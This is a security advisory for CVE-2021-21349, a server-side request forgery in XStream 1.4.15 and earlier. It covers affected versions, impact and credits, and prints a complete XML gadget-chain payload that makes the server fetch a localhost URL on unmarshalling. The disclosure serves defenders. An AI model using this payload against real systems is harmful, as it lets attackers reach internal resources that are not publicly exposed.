## Vulnerability

CVE-2021-21349: A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host.

## Affected Versions

All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

## Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in a server-side forgery request.

## Steps to Reproduce

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:

    <java.util.PriorityQueue serialization='custom'>
      <unserializable-parents/>
      <java.util.PriorityQueue>
        <default>
          <size>2</size>
          <comparator class='javafx.collections.ObservableList$1'/>
        </default>
        <int>3</int>
        <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
          <dataHandler>
            <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
              <contentType>text/plain</contentType>
              <is class='java.io.SequenceInputStream'>
                <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                  <iterator class='com.sun.xml.internal.ws.util.ServiceFinder$ServiceNameIterator'>
                    <configs class='sun.misc.FIFOQueueEnumerator'>
                      <queue>
                        <length>1</length>
                        <head>
                          <obj class='url'>http://localhost:8080/internal/</obj>
                        </head>
                        <tail reference='../head'/>
                      </queue>
                      <cursor reference='../queue/head'/>
                    </configs>
                    <returned class='sorted-set'/>
                  </iterator>
                  <type>KEYS</type>
                </e>
                <in class='java.io.ByteArrayInputStream'>
                  <buf></buf>
                  <pos>0</pos>
                  <mark>0</mark>
                  <count>0</count>
                </in>
              </is>
              <consumed>false</consumed>
            </dataSource>
            <transferFlavors/>
          </dataHandler>
          <dataLen>0</dataLen>
        </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
        <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
      </java.util.PriorityQueue>
    </java.util.PriorityQueue>

    XStream xstream = new XStream();
    xstream.fromXML(xml);

As soon as the XML gets unmarshalled, the payload gets executed and the data from the URL location is collected.

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

## Impact

The vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream.

## Workarounds

See workarounds for the different versions covering all CVEs.

## Credits

The vulnerability was discovered and reported by threedr3am.